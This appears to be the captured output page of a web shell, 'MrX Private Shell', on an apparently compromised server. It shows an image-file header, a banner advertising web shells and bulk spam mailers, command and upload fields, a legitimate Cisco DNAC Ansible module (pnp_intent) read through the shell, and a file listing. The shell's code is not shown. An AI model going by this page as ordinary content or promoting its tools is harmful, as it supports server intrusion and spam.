����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright (c) 2022, Cisco Systems
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type
__author__ = ("Madhan Sankaranarayanan, Rishita Chowdhary")

DOCUMENTATION = r"""
---
module: pnp_intent
short_description: Resource module for Site and PnP related functions
description:
- Manage operations add device, claim device and unclaim device of Onboarding Configuration(PnP) resource
- API to add device to pnp inventory and claim it to a site.
- API to delete device from the pnp inventory.
version_added: '6.6.0'
extends_documentation_fragment:
  - cisco.dnac.intent_params
author: Madhan Sankaranarayanan (@madhansansel)
        Rishita Chowdhary (@rishitachowdhary)
options:
  state:
    description: The state of DNAC after module completion.
    type: str
    choices: [ merged, deleted ]
    default: merged
  config:
    description:
    - List of details of device being managed.
    type: list
    elements: dict
    required: true
    suboptions:
      template_name:
        description: Name of template to be configured on the device.
        type: str
      image_name:
        description: Name of image to be configured on the device
        type: str
      golden_image:
        description: Is the image to be condifgured tagged as golden image
        type: bool
      site_name:
        description: Name of the site for which device will be claimed.
        type: str
      deviceInfo:
        description: Pnp Device's deviceInfo.
        type: dict
        suboptions:
          aaaCredentials:
            description: Pnp Device's aaaCredentials.
            type: dict
            suboptions:
              password:
                description: Pnp Device's password.
                type: str
              username:
                description: Pnp Device's username.
                type: str
          addedOn:
            description: Pnp Device's addedOn.
            type: int
          addnMacAddrs:
            description: Pnp Device's addnMacAddrs.
            elements: str
            type: list
          agentType:
            description: Pnp Device's agentType.
            type: str
          authStatus:
            description: Pnp Device's authStatus.
            type: str
          authenticatedSudiSerialNo:
            description: Pnp Device's authenticatedSudiSerialNo.
            type: str
          capabilitiesSupported:
            description: Pnp Device's capabilitiesSupported.
            elements: str
            type: list
          cmState:
            description: Pnp Device's cmState.
            type: str
          description:
            description: Pnp Device's description.
            type: str
          deviceSudiSerialNos:
            description: Pnp Device's deviceSudiSerialNos.
            elements: str
            type: list
          deviceType:
            description: Pnp Device's deviceType.
            type: str
          featuresSupported:
            description: Pnp Device's featuresSupported.
            elements: str
            type: list
          fileSystemList:
            description: Pnp Device's fileSystemList.
            type: list
            elements: dict
            suboptions:
              freespace:
                description: Pnp Device's freespace.
                type: int
              name:
                description: Pnp Device's name.
                type: str
              readable:
                description: Readable flag.
                type: bool
              size:
                description: Pnp Device's size.
                type: int
              type:
                description: Pnp Device's type.
                type: str
              writeable:
                description: Writeable flag.
                type: bool
          firstContact:
            description: Pnp Device's firstContact.
            type: int
          hostname:
            description: Pnp Device's hostname.
            type: str
          httpHeaders:
            description: Pnp Device's httpHeaders.
            type: list
            elements: dict
            suboptions:
              key:
                description: Pnp Device's key.
                type: str
              value:
                description: Pnp Device's value.
                type: str
          imageFile:
            description: Pnp Device's imageFile.
            type: str
          imageVersion:
            description: Pnp Device's imageVersion.
            type: str
          ipInterfaces:
            description: Pnp Device's ipInterfaces.
            elements: dict
            type: list
            suboptions:
              ipv4Address:
                description: Pnp Device's ipv4Address.
                type: dict
              ipv6AddressList:
                description: Pnp Device's ipv6AddressList.
                elements: dict
                type: list
              macAddress:
                description: Pnp Device's macAddress.
                type: str
              name:
                description: Pnp Device's name.
                type: str
              status:
                description: Pnp Device's status.
                type: str
          lastContact:
            description: Pnp Device's lastContact.
            type: int
          lastSyncTime:
            description: Pnp Device's lastSyncTime.
            type: int
          lastUpdateOn:
            description: Pnp Device's lastUpdateOn.
            type: int
          location:
            description: Pnp Device's location.
            type: dict
            suboptions:
              address:
                description: Pnp Device's address.
                type: str
              altitude:
                description: Pnp Device's altitude.
                type: str
              latitude:
                description: Pnp Device's latitude.
                type: str
              longitude:
                description: Pnp Device's longitude.
                type: str
              siteId:
                description: Pnp Device's siteId.
                type: str
          macAddress:
            description: Pnp Device's macAddress.
            type: str
          mode:
            description: Pnp Device's mode.
            type: str
          name:
            description: Pnp Device's name.
            type: str
          neighborLinks:
            description: Pnp Device's neighborLinks.
            type: list
            elements: dict
            suboptions:
              localInterfaceName:
                description: Pnp Device's localInterfaceName.
                type: str
              localMacAddress:
                description: Pnp Device's localMacAddress.
                type: str
              localShortInterfaceName:
                description: Pnp Device's localShortInterfaceName.
                type: str
              remoteDeviceName:
                description: Pnp Device's remoteDeviceName.
                type: str
              remoteInterfaceName:
                description: Pnp Device's remoteInterfaceName.
                type: str
              remoteMacAddress:
                description: Pnp Device's remoteMacAddress.
                type: str
              remotePlatform:
                description: Pnp Device's remotePlatform.
                type: str
              remoteShortInterfaceName:
                description: Pnp Device's remoteShortInterfaceName.
                type: str
              remoteVersion:
                description: Pnp Device's remoteVersion.
                type: str
          onbState:
            description: Pnp Device's onbState.
            type: str
          pid:
            description: Pnp Device's pid.
            type: str
          pnpProfileList:
            description: Pnp Device's pnpProfileList.
            type: list
            elements: dict
            suboptions:
              createdBy:
                description: Pnp Device's createdBy.
                type: str
              discoveryCreated:
                description: DiscoveryCreated flag.
                type: bool
              primaryEndpoint:
                description: Pnp Device's primaryEndpoint.
                type: dict
                suboptions:
                  certificate:
                    description: Pnp Device's certificate.
                    type: str
                  fqdn:
                    description: Pnp Device's fqdn.
                    type: str
                  ipv4Address:
                    description: Pnp Device's ipv4Address.
                    type: dict
                  ipv6Address:
                    description: Pnp Device's ipv6Address.
                    type: dict
                  port:
                    description: Pnp Device's port.
                    type: int
                  protocol:
                    description: Pnp Device's protocol.
                    type: str
              profileName:
                description: Pnp Device's profileName.
                type: str
              secondaryEndpoint:
                description: Pnp Device's secondaryEndpoint.
                type: dict
                suboptions:
                  certificate:
                    description: Pnp Device's certificate.
                    type: str
                  fqdn:
                    description: Pnp Device's fqdn.
                    type: str
                  ipv4Address:
                    description: Pnp Device's ipv4Address.
                    type: dict
                  ipv6Address:
                    description: Pnp Device's ipv6Address.
                    type: dict
                  port:
                    description: Pnp Device's port.
                    type: int
                  protocol:
                    description: Pnp Device's protocol.
                    type: str
          populateInventory:
            description: PopulateInventory flag.
            type: bool
          preWorkflowCliOuputs:
            description: Pnp Device's preWorkflowCliOuputs.
            type: list
            elements: dict
            suboptions:
              cli:
                description: Pnp Device's cli.
                type: str
              cliOutput:
                description: Pnp Device's cliOutput.
                type: str
          projectId:
            description: Pnp Device's projectId.
            type: str
          projectName:
            description: Pnp Device's projectName.
            type: str
          reloadRequested:
            description: ReloadRequested flag.
            type: bool
          serialNumber:
            description: Pnp Device's serialNumber.
            type: str
          smartAccountId:
            description: Pnp Device's smartAccountId.
            type: str
          source:
            description: Pnp Device's source.
            type: str
          stack:
            description: Stack flag.
            type: bool
          stackInfo:
            description: Pnp Device's stackInfo.
            type: dict
            suboptions:
              isFullRing:
                description: IsFullRing flag.
                type: bool
              stackMemberList:
                description: Pnp Device's stackMemberList.
                type: list
                elements: dict
                suboptions:
                  hardwareVersion:
                    description: Pnp Device's hardwareVersion.
                    type: str
                  licenseLevel:
                    description: Pnp Device's licenseLevel.
                    type: str
                  licenseType:
                    description: Pnp Device's licenseType.
                    type: str
                  macAddress:
                    description: Pnp Device's macAddress.
                    type: str
                  pid:
                    description: Pnp Device's pid.
                    type: str
                  priority:
                    description: Pnp Device's priority.
                    type: int
                  role:
                    description: Pnp Device's role.
                    type: str
                  serialNumber:
                    description: Pnp Device's serialNumber.
                    type: str
                  softwareVersion:
                    description: Pnp Device's softwareVersion.
                    type: str
                  stackNumber:
                    description: Pnp Device's stackNumber.
                    type: int
                  state:
                    description: Pnp Device's state.
                    type: str
                  sudiSerialNumber:
                    description: Pnp Device's sudiSerialNumber.
                    type: str
              stackRingProtocol:
                description: Pnp Device's stackRingProtocol.
                type: str
              supportsStackWorkflows:
                description: SupportsStackWorkflows flag.
                type: bool
              totalMemberCount:
                description: Pnp Device's totalMemberCount.
                type: int
              validLicenseLevels:
                description: Pnp Device's validLicenseLevels.
                type: str
          state:
            description: Pnp Device's state.
            type: str
          sudiRequired:
            description: SudiRequired flag.
            type: bool
          tags:
            description: Pnp Device's tags.
            type: dict
          userSudiSerialNos:
            description: Pnp Device's userSudiSerialNos.
            elements: str
            type: list
          virtualAccountId:
            description: Pnp Device's virtualAccountId.
            type: str
          workflowId:
            description: Pnp Device's workflowId.
            type: str
          workflowName:
            description: Pnp Device's workflowName.
            type: str

requirements:
- dnacentersdk == 2.4.5
- python >= 3.5
notes:
  - SDK Method used are
    device_onboarding_pnp.DeviceOnboardingPnp.add_device,
    device_onboarding_pnp.DeviceOnboardingPnp.claim_a_device_to_a_site,
    device_onboarding_pnp.DeviceOnboardingPnp.delete_device_by_id_from_pnp,

  - Paths used are
    post /dna/intent/api/v1/onboarding/pnp-device
    post /dna/intent/api/v1/onboarding/pnp-device/site-claim
    post /dna/intent/api/v1/onboarding/pnp-device/{id}

"""

EXAMPLES = r"""
- name: Add a new device and claim the device
  cisco.dnac.pnp_intent:
    dnac_host: "{{dnac_host}}"
    dnac_username: "{{dnac_username}}"
    dnac_password: "{{dnac_password}}"
    dnac_verify: "{{dnac_verify}}"
    dnac_port: "{{dnac_port}}"
    dnac_version: "{{dnac_version}}"
    dnac_debug: "{{dnac_debug}}"
    dnac_log: True
    state: merged
    config:
        template_name: string
        image_name: string
        site_name: string
        deviceInfo:
        aaaCredentials:
          password: string
          username: string
        addedOn: 0
        addnMacAddrs:
        - string
        agentType: string
        authStatus: string
        authenticatedSudiSerialNo: string
        capabilitiesSupported:
        - string
        cmState: string
        description: string
        deviceSudiSerialNos:
        - string
        deviceType: string
        featuresSupported:
        - string
        fileSystemList:
        - freespace: 0
          name: string
          readable: true
          size: 0
          type: string
          writeable: true
        firstContact: 0
        hostname: string
        httpHeaders:
        - key: string
          value: string
        imageFile: string
        imageVersion: string
        ipInterfaces:
        - ipv4Address: {}
          ipv6AddressList:
          - {}
          macAddress: string
          name: string
          status: string
        lastContact: 0
        lastSyncTime: 0
        lastUpdateOn: 0
        location:
          address: string
          altitude: string
          latitude: string
          longitude: string
          siteId: string
        macAddress: string
        mode: string
        name: string
        neighborLinks:
        - localInterfaceName: string
          localMacAddress: string
          localShortInterfaceName: string
          remoteDeviceName: string
          remoteInterfaceName: string
          remoteMacAddress: string
          remotePlatform: string
          remoteShortInterfaceName: string
          remoteVersion: string
        onbState: string
        pid: string
        pnpProfileList:
        - createdBy: string
          discoveryCreated: true
          primaryEndpoint:
            certificate: string
            fqdn: string
            ipv4Address: {}
            ipv6Address: {}
            port: 0
            protocol: string
          profileName: string
          secondaryEndpoint:
            certificate: string
            fqdn: string
            ipv4Address: {}
            ipv6Address: {}
            port: 0
            protocol: string
        populateInventory: true
        preWorkflowCliOuputs:
        - cli: string
          cliOutput: string
        projectId: string
        projectName: string
        reloadRequested: true
        serialNumber: string
        smartAccountId: string
        source: string
        stack: true
        stackInfo:
          isFullRing: true
          stackMemberList:
          - hardwareVersion: string
            licenseLevel: string
            licenseType: string
            macAddress: string
            pid: string
            priority: 0
            role: string
            serialNumber: string
            softwareVersion: string
            stackNumber: 0
            state: string
            sudiSerialNumber: string
          stackRingProtocol: string
          supportsStackWorkflows: true
          totalMemberCount: 0
          validLicenseLevels: string
        state: string
        sudiRequired: true
        tags: {}
        userSudiSerialNos:
        - string
        virtualAccountId: string
        workflowId: string
        workflowName: string
"""

RETURN = r"""
#Case_1: When the device is claimed successfully.
response_1:
  description: A dictionary with the response returned by the Cisco DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response":
        {
          "response": String,
          "version": String
        },
      "msg": String
    }

#Case_2: Given site/image/template/project not found or Device is not found for deletion
response_2:
  description: A list with the response returned by the Cisco DNAC Python SDK
  returned: always
  type: list
  sample: >
    {
      "response": [],
      "msg": String
    }

#Case_3: Error while deleting/claiming a device
response_3:
  description: A string with the response returned by the Cisco DNAC Python SDK
  returned: always
  type: dict
  sample: >
    {
      "response": String,
      "msg": String
    }
"""

import copy
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.dnac.plugins.module_utils.dnac import (
    DNACSDK,
    validate_list_of_dicts,
    log,
    get_dict_result,
)


class DnacPnp:
    def __init__(self, module):
        self.module = module
        self.params = module.params
        self.config = copy.deepcopy(module.params.get("config"))
        self.have = []
        self.want = []
        self.diff = []
        self.validated = []
        dnac_params = self.get_dnac_params(self.params)
        log(str(dnac_params))
        self.dnac = DNACSDK(params=dnac_params)
        self.log = dnac_params.get("dnac_log")

        self.result = dict(changed=False, diff=[], response=[], warnings=[])

    def get_state(self):
        return self.params.get("state")

    def validate_input(self):
        pnp_spec = dict(
            template_name=dict(required=True, type='str'),
            project_name=dict(required=False, type='str', default="Onboarding Configuration"),
            site_name=dict(required=True, type='str'),
            image_name=dict(required=True, type='str'),
            golden_image=dict(required=False, type='bool'),
            deviceInfo=dict(required=True, type='dict'),
            pnp_type=dict(required=False, type=str, default="Default")
        )

        if self.config:
            msg = None

            # Validate template params
            if self.log:
                log(str(self.config))
            valid_pnp, invalid_params = validate_list_of_dicts(
                self.config, pnp_spec
            )

            if invalid_params:
                msg = "Invalid parameters in playbook: {0}".format(
                    "\n".join(invalid_params)
                )
                self.module.fail_json(msg=msg)

            self.validated = valid_pnp

            if self.log:
                log(str(valid_pnp))
                log(str(self.validated))

    def get_dnac_params(self, params):
        dnac_params = dict(
            dnac_host=params.get("dnac_host"),
            dnac_port=params.get("dnac_port"),
            dnac_username=params.get("dnac_username"),
            dnac_password=params.get("dnac_password"),
            dnac_verify=params.get("dnac_verify"),
            dnac_debug=params.get("dnac_debug"),
            dnac_log=params.get("dnac_log")
        )
        return dnac_params

    def site_exists(self):
        site_exists = False
        site_id = None
        response = None
        try:
            response = self.dnac._exec(
                family="sites",
                function='get_site',
                params={"name": self.want.get("site_name")},
            )
        except Exception as e:
            self.module.fail_json(msg="Site not found", response=[])

        if response:
            if self.log:
                log(str(response))

            site = response.get("response")
            site_id = site[0].get("id")
            site_exists = True

        return (site_exists, site_id)

    def get_pnp_params(self, params):
        pnp_params = {}
        pnp_params['_id'] = params.get('_id')
        pnp_params['deviceInfo'] = params.get('deviceInfo')
        pnp_params['runSummaryList'] = params.get('runSummaryList')
        pnp_params['systemResetWorkflow'] = params.get('systemResetWorkflow')
        pnp_params['systemWorkflow'] = params.get('systemWorkflow')
        pnp_params['tenantId'] = params.get('tenantId')
        pnp_params['version'] = params.get('device_version')
        pnp_params['workflow'] = params.get('workflow')
        pnp_params['workflowParameters'] = params.get('workflowParameters')

        return pnp_params

    def get_image_params(self, params):
        image_params = dict(
            image_name=params.get("image_name"),
            is_tagged_golden=params.get("golden_image"),
        )

        return image_params

    def get_claim_params(self):
        imageinfo = dict(
            imageId=self.have.get("image_id")
        )
        configinfo = dict(
            configId=self.have.get("template_id"),
            configParameters=[dict(
                key="",
                value=""
            )]
        )
        claim_params = dict(
            deviceId=self.have.get("device_id"),
            siteId=self.have.get("site_id"),
            type=self.want.get("pnp_type"),
            hostname=self.want.get("hostname"),
            imageInfo=imageinfo,
            configInfo=configinfo,
        )

        return claim_params

    def get_have(self):
        have = {}

        if self.params.get("state") == "merged":
            # check if given image exists, if exists store image_id
            image_response = self.dnac._exec(
                family="software_image_management_swim",
                function='get_software_image_details',
                params=self.want.get("image_params"),
            )

            if self.log:
                log(str(image_response))

            image_list = image_response.get("response")

            if len(image_list) == 1:
                have["image_id"] = image_list[0].get("imageUuid")
                if self.log:
                    log("Image Id: " + str(have["image_id"]))
            else:
                self.module.fail_json(msg="Image not found", response=[])

            # check if given template exists, if exists store template id
            template_list = self.dnac._exec(
                family="configuration_templates",
                function='gets_the_templates_available',
                params={"project_names": self.want.get("project_name")},
            )

            if self.log:
                log(str(template_list))

            if template_list and isinstance(template_list, list):
                # API execution error returns a dict
                template_details = get_dict_result(template_list, 'name', self.want.get("template_name"))
                if template_details:
                    have["template_id"] = template_details.get("templateId")

                    if self.log:
                        log("Template Id: " + str(have["template_id"]))
                else:
                    self.module.fail_json(msg="Template not found", response=[])
            else:
                self.module.fail_json(msg="Project Not Found", response=[])

            # check if given site exits, if exists store current site info
            site_name = self.want.get("site_name")

            site_exists = False
            (site_exists, site_id) = self.site_exists()

            if site_exists:
                have["site_id"] = site_id
                if self.log:
                    log("Site Exists: " + str(site_exists) + "\n Site_id:" + str(site_id))
                    log("Site Name:" + str(site_name))

        # check if given device exists in pnp inventory, store device Id
        device_response = self.dnac._exec(
            family="device_onboarding_pnp",
            function='get_device_list',
            params={"serial_number": self.want.get("serial_number")}
        )

        if self.log:
            log(str(device_response))

        if device_response and (len(device_response) == 1):
            have["device_id"] = device_response[0].get("id")
            have["device_found"] = True

            if self.log:
                log("Device Id: " + str(have["device_id"]))
        else:
            have["device_found"] = False

        self.have = have

    def get_want(self):
        for params in self.validated:
            want = dict(
                image_params=self.get_image_params(params),
                pnp_params=self.get_pnp_params(params),
                pnp_type=params.get("pnp_type"),
                site_name=params.get("site_name"),
                serial_number=params.get("deviceInfo").get("serialNumber"),
                hostname=params.get("deviceInfo").get("hostname"),
                project_name=params.get("project_name"),
                template_name=params.get("template_name")
            )

        self.want = want

    def get_diff_merge(self):

        # if given device doesnot exist then add it to pnp database and get the device id
        if not self.have.get("device_found"):
            log("Adding device to pnp database")
            response = self.dnac._exec(
                family="device_onboarding_pnp",
                function="add_device",
                params=self.want.get("pnp_params"),
                op_modifies=True,
            )
            self.have["device_id"] = response.get("id")

            if self.log:
                log(str(response))
                log(self.have.get("device_id"))

        claim_params = self.get_claim_params()
        claim_response = self.dnac._exec(
            family="device_onboarding_pnp",
            function='claim_a_device_to_a_site',
            op_modifies=True,
            params=claim_params,
        )

        if self.log:
            log(str(claim_response))

        if claim_response.get("response") == "Device Claimed":
            self.result['changed'] = True
            self.result['msg'] = "Device Claimed Successfully"
            self.result['response'] = claim_response
            self.result['diff'] = self.validated
        else:
            self.module.fail_json(msg="Device Claim Failed", response=claim_response)

    def get_diff_delete(self):
        if self.have.get("device_found"):

            try:
                response = self.dnac._exec(
                    family="device_onboarding_pnp",
                    function="delete_device_by_id_from_pnp",
                    op_modifies=True,
                    params={"id": self.have.get("device_id")},
                )

                if self.log:
                    log(str(response))

                if response.get("deviceInfo").get("state") == "Deleted":
                    self.result['changed'] = True
                    self.result['response'] = response
                    self.result['diff'] = self.validated
                    self.result['msg'] = "Device Deleted Successfully"
                else:
                    self.result['response'] = response
                    self.result['msg'] = "Error while deleting the device"

            except Exception as errorstr:
                response = str(errorstr)
                msg = "Device Deletion Failed"
                self.module.fail_json(msg=msg, response=response)

        else:
            self.module.fail_json(msg="Device Not Found", response=[])


def main():
    """ main entry point for module execution
    """

    element_spec = dict(
        dnac_host=dict(required=True, type='str'),
        dnac_port=dict(type='str', default='443'),
        dnac_username=dict(type='str', default='admin', aliases=["user"]),
        dnac_password=dict(type='str', no_log=True),
        dnac_verify=dict(type='bool', default='True'),
        dnac_version=dict(type="str", default="2.2.3.3"),
        dnac_debug=dict(type='bool', default=False),
        dnac_log=dict(type='bool', default=False),
        validate_response_schema=dict(type="bool", default=True),
        config=dict(required=True, type='list', elements='dict'),
        state=dict(
            default='merged',
            choices=['merged', 'deleted']
        )
    )

    module = AnsibleModule(argument_spec=element_spec,
                           supports_check_mode=False)
    dnac_pnp = DnacPnp(module)
    dnac_pnp.validate_input()
    state = dnac_pnp.get_state()

    dnac_pnp.get_want()
    dnac_pnp.get_have()

    if state == "merged":
        dnac_pnp.get_diff_merge()

    elif state == "deleted":
        dnac_pnp.get_diff_delete()

    module.exit_json(**dnac_pnp.result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
accesspoint_configuration_details_by_task_id_info.py File 2.81 KB 0644
app_policy_default_info.py File 3.92 KB 0644
app_policy_info.py File 5.15 KB 0644
app_policy_intent_create.py File 9.63 KB 0644
app_policy_queuing_profile.py File 6.34 KB 0644
app_policy_queuing_profile_count_info.py File 1.78 KB 0644
app_policy_queuing_profile_info.py File 4.37 KB 0644
application_sets.py File 2.47 KB 0644
application_sets_count_info.py File 1.66 KB 0644
application_sets_info.py File 1.97 KB 0644
applications.py File 7.28 KB 0644
applications_count_info.py File 1.6 KB 0644
applications_health_info.py File 4.38 KB 0644
applications_info.py File 3.15 KB 0644
assign_device_to_site.py File 1.98 KB 0644
associate_site_to_network_profile.py File 1.8 KB 0644
authentication_import_certificate.py File 2.04 KB 0644
authentication_import_certificate_p12.py File 2.08 KB 0644
authentication_policy_servers_info.py File 3.38 KB 0644
buildings_planned_access_points_info.py File 3.32 KB 0644
business_sda_hostonboarding_ssid_ippool.py File 2.98 KB 0644
business_sda_hostonboarding_ssid_ippool_info.py File 2.06 KB 0644
business_sda_virtual_network_summary_info.py File 2 KB 0644
business_sda_wireless_controller_create.py File 1.83 KB 0644
business_sda_wireless_controller_delete.py File 1.93 KB 0644
cli_credential.py File 3.22 KB 0644
client_detail_info.py File 4.91 KB 0644
client_enrichment_details_info.py File 6.84 KB 0644
client_health_info.py File 2.89 KB 0644
client_proximity_info.py File 2.5 KB 0644
command_runner_run_command.py File 2.25 KB 0644
compliance_check_run.py File 1.81 KB 0644
compliance_device_by_id_info.py File 3.99 KB 0644
compliance_device_details_count_info.py File 2.17 KB 0644
compliance_device_details_info.py File 2.73 KB 0644
compliance_device_info.py File 3.06 KB 0644
compliance_device_status_count_info.py File 1.9 KB 0644
configuration_template.py File 19.43 KB 0644
configuration_template_clone.py File 2.13 KB 0644
configuration_template_create.py File 18.74 KB 0644
configuration_template_deploy.py File 3.54 KB 0644
configuration_template_deploy_status_info.py File 2.56 KB 0644
configuration_template_deploy_v2.py File 3.01 KB 0644
configuration_template_export_project.py File 1.82 KB 0644
configuration_template_export_template.py File 1.83 KB 0644
configuration_template_import_project.py File 2.02 KB 0644
configuration_template_import_template.py File 21.89 KB 0644
configuration_template_info.py File 9.9 KB 0644
configuration_template_project.py File 27.45 KB 0644
configuration_template_project_info.py File 9.43 KB 0644
configuration_template_version_create.py File 1.8 KB 0644
configuration_template_version_info.py File 2.29 KB 0644
credential_to_site_by_siteid_create_v2.py File 2.31 KB 0644
device_configurations_export.py File 1.8 KB 0644
device_credential_create.py File 5.53 KB 0644
device_credential_delete.py File 1.63 KB 0644
device_credential_info.py File 3.83 KB 0644
device_credential_update.py File 5.31 KB 0644
device_details_info.py File 3.32 KB 0644
device_enrichment_details_info.py File 4.18 KB 0644
device_family_identifiers_details_info.py File 1.93 KB 0644
device_health_info.py File 3.8 KB 0644
device_interface_by_ip_info.py File 2.76 KB 0644
device_interface_count_info.py File 1.6 KB 0644
device_interface_info.py File 3.76 KB 0644
device_interface_isis_info.py File 2.59 KB 0644
device_interface_ospf_info.py File 2.59 KB 0644
device_reboot_apreboot.py File 1.71 KB 0644
device_reboot_apreboot_info.py File 1.97 KB 0644
device_replacement.py File 4.64 KB 0644
device_replacement_count_info.py File 1.92 KB 0644
device_replacement_deploy.py File 2 KB 0644
device_replacement_info.py File 4.24 KB 0644
disassociate_site_to_network_profile.py File 1.84 KB 0644
disasterrecovery_system_operationstatus_info.py File 2.22 KB 0644
disasterrecovery_system_status_info.py File 3.18 KB 0644
discovery.py File 10.61 KB 0644
discovery_count_info.py File 1.59 KB 0644
discovery_device_count_info.py File 1.91 KB 0644
discovery_device_info.py File 3.55 KB 0644
discovery_device_range_info.py File 3.88 KB 0644
discovery_info.py File 3.52 KB 0644
discovery_job_info.py File 3.55 KB 0644
discovery_range_delete.py File 1.84 KB 0644
discovery_range_info.py File 3.82 KB 0644
discovery_summary_info.py File 2.77 KB 0644
dna_command_runner_keywords_info.py File 1.74 KB 0644
dnac_packages_info.py File 1.7 KB 0644
dnacaap_management_execution_status_info.py File 2.11 KB 0644
endpoint_analytics_profiling_rules.py File 6.8 KB 0644
endpoint_analytics_profiling_rules_info.py File 4.92 KB 0644
eox_status_device_info.py File 3.39 KB 0644
eox_status_summary_info.py File 1.65 KB 0644
event_api_status_info.py File 1.81 KB 0644
event_artifact_count_info.py File 1.61 KB 0644
event_artifact_info.py File 3.25 KB 0644
event_config_connector_types_info.py File 1.75 KB 0644
event_count_info.py File 1.79 KB 0644
event_email_config.py File 3.71 KB 0644
event_email_config_create.py File 2.75 KB 0644
event_email_config_info.py File 2.12 KB 0644
event_email_config_update.py File 2.75 KB 0644
event_info.py File 2.66 KB 0644
event_series_audit_logs_info.py File 6 KB 0644
event_series_audit_logs_parent_records_info.py File 5.96 KB 0644
event_series_audit_logs_summary_info.py File 4.75 KB 0644
event_series_count_info.py File 2.47 KB 0644
event_series_info.py File 3.67 KB 0644
event_snmp_config_info.py File 2.8 KB 0644
event_subscription.py File 6.16 KB 0644
event_subscription_count_info.py File 1.77 KB 0644
event_subscription_details_email_info.py File 2.75 KB 0644
event_subscription_details_rest_info.py File 2.99 KB 0644
event_subscription_details_syslog_info.py File 2.87 KB 0644
event_subscription_email.py File 6.23 KB 0644
event_subscription_email_info.py File 4.39 KB 0644
event_subscription_info.py File 4 KB 0644
event_subscription_rest.py File 5.48 KB 0644
event_subscription_rest_info.py File 4.84 KB 0644
event_subscription_syslog.py File 5.44 KB 0644
event_subscription_syslog_info.py File 4.48 KB 0644
event_syslog_config.py File 2.83 KB 0644
event_syslog_config_info.py File 2.8 KB 0644
event_webhook_create.py File 2.47 KB 0644
event_webhook_update.py File 2.47 KB 0644
execute_suggested_actions_commands.py File 2.28 KB 0644
file_import.py File 1.51 KB 0644
file_info.py File 2.09 KB 0644
file_namespace_files_info.py File 2.11 KB 0644
file_namespaces_info.py File 1.59 KB 0644
global_credential_delete.py File 1.73 KB 0644
global_credential_info.py File 2.93 KB 0644
global_credential_update.py File 1.84 KB 0644
global_credential_v2.py File 7.1 KB 0644
global_credential_v2_info.py File 3.97 KB 0644
global_pool.py File 3.91 KB 0644
global_pool_info.py File 2.61 KB 0644
golden_image_create.py File 2.08 KB 0644
golden_tag_image_delete.py File 2.34 KB 0644
golden_tag_image_details_info.py File 2.61 KB 0644
http_read_credential.py File 3.4 KB 0644
http_write_credential.py File 3.44 KB 0644
integration_settings_instances_itsm.py File 4.81 KB 0644
integration_settings_instances_itsm_info.py File 2.29 KB 0644
interface_info.py File 3.04 KB 0644
interface_network_device_detail_info.py File 2.9 KB 0644
interface_network_device_info.py File 2.75 KB 0644
interface_network_device_range_info.py File 3.13 KB 0644
interface_operation_create.py File 2.19 KB 0644
interface_update.py File 2.47 KB 0644
issues_enrichment_details_info.py File 2.35 KB 0644
issues_info.py File 3.28 KB 0644
itsm_cmdb_sync_status_info.py File 2.5 KB 0644
itsm_integration_events_failed_info.py File 2.3 KB 0644
itsm_integration_events_retry.py File 1.94 KB 0644
lan_automation_count_info.py File 1.63 KB 0644
lan_automation_create.py File 3.54 KB 0644
lan_automation_delete.py File 1.73 KB 0644
lan_automation_log_by_serial_number_info.py File 2.73 KB 0644
lan_automation_log_info.py File 3.1 KB 0644
lan_automation_status_info.py File 3.75 KB 0644
license_device_count_info.py File 2.28 KB 0644
license_device_deregistration.py File 1.69 KB 0644
license_device_license_details_info.py File 3.22 KB 0644
license_device_license_summary_info.py File 4.13 KB 0644
license_device_registration.py File 1.84 KB 0644
license_smart_account_details_info.py File 1.77 KB 0644
license_term_details_info.py File 2.45 KB 0644
license_usage_details_info.py File 2.99 KB 0644
license_virtual_account_change.py File 2.04 KB 0644
license_virtual_account_details_info.py File 1.99 KB 0644
netconf_credential.py File 3.11 KB 0644
network_create.py File 6.18 KB 0644
network_device.py File 6.75 KB 0644
network_device_by_ip_info.py File 3.03 KB 0644
network_device_by_serial_number_info.py File 3.16 KB 0644
network_device_chassis_details_info.py File 2.33 KB 0644
network_device_config_count_info.py File 1.62 KB 0644
network_device_config_info.py File 2.52 KB 0644
network_device_count_info.py File 2.56 KB 0644
network_device_custom_prompt.py File 1.88 KB 0644
network_device_custom_prompt_info.py File 1.87 KB 0644
network_device_equipment_info.py File 2.35 KB 0644
network_device_export.py File 2.04 KB 0644
network_device_functional_capability_info.py File 3.42 KB 0644
network_device_global_polling_interval_info.py File 1.73 KB 0644
network_device_info.py File 8 KB 0644
network_device_interface_neighbor_info.py File 2.11 KB 0644
network_device_interface_poe_info.py File 2.4 KB 0644
network_device_inventory_insight_link_mismatch_info.py File 3.67 KB 0644
network_device_lexicographically_sorted_info.py File 4.1 KB 0644
network_device_linecard_details_info.py File 1.98 KB 0644
network_device_meraki_organization_info.py File 1.81 KB 0644
network_device_module_count_info.py File 2.21 KB 0644
network_device_module_info.py File 3.73 KB 0644
network_device_poe_info.py File 1.76 KB 0644
network_device_polling_interval_info.py File 1.75 KB 0644
network_device_range_info.py File 3.42 KB 0644
network_device_register_for_wsa_info.py File 2.27 KB 0644
network_device_stack_details_info.py File 3.65 KB 0644
network_device_summary_info.py File 1.81 KB 0644
network_device_supervisor_card_details_info.py File 2.04 KB 0644
network_device_sync.py File 1.93 KB 0644
network_device_update_role.py File 1.83 KB 0644
network_device_user_defined_field.py File 3.38 KB 0644
